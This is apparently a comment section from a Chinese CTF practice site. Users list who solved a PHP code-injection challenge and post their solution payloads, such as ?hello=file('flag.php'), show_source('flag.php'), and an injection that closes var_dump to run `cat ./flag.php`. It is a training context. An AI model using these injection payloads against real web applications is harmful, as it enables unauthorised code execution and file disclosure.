评分(10)
解题动态
wujiayi 攻破了该题 9小时前
187784 攻破了该题 11小时前
hahahahahahaha 攻破了该题 11小时前
codegod 攻破了该题 18小时前
Julia 攻破了该题 1天前
kingxin 攻破了该题 1天前
123456sefss 攻破了该题 1天前
hanzkj 攻破了该题 1天前
touchcandy 攻破了该题 1天前
foxkiller 攻破了该题 1天前
desireart 攻破了该题 1天前
bushi 攻破了该题 1天前
orange2015 攻破了该题 1天前
刚哥glory 攻破了该题 2天前
2757547892 攻破了该题 2天前
没有伞的小白帽 攻破了该题 2天前
zcgzcx1234 攻破了该题 2天前
yjyyds 攻破了该题 2天前
walkerming 攻破了该题 3天前
评论
118234 3年前
举报
`cat /flag`
luoyao 3年前
举报
?hello=file("flag.php")
luyisie 3年前
举报
file // show_source // highlight_file
wwgy9981 3年前
举报
flag = 'Too Young Too Simple‘
kavin 3年前
举报
明白了原理，用bp搞了一轮，发现hello=show_source('flag.php')可行
kuaiting 3年前
举报
使用?hello=file('flag.php') 或者?hello=show_source('flag.php') 等可以读取源码的函数 或者构造var_dump($a) 闭合
陈江川0118 4年前
举报
简单来说就是利用file函数把flag.php的内容存到一个数组中，然后打印出来数组的内容即可
trackboy 4年前
举报
?hello=file(%22flag.php%22) ?hello=file_get_contents(%27flag.php%27) ?hello=1);show_source(%27flag.php%27);var_dump( ?hello=);echo%20`cat%20./flag.php`;//
lgb236277484 4年前
举报
highlight_file()
mingshen 4年前
举报
PHP show_source() 杂项函数，或者file协议读取文件内容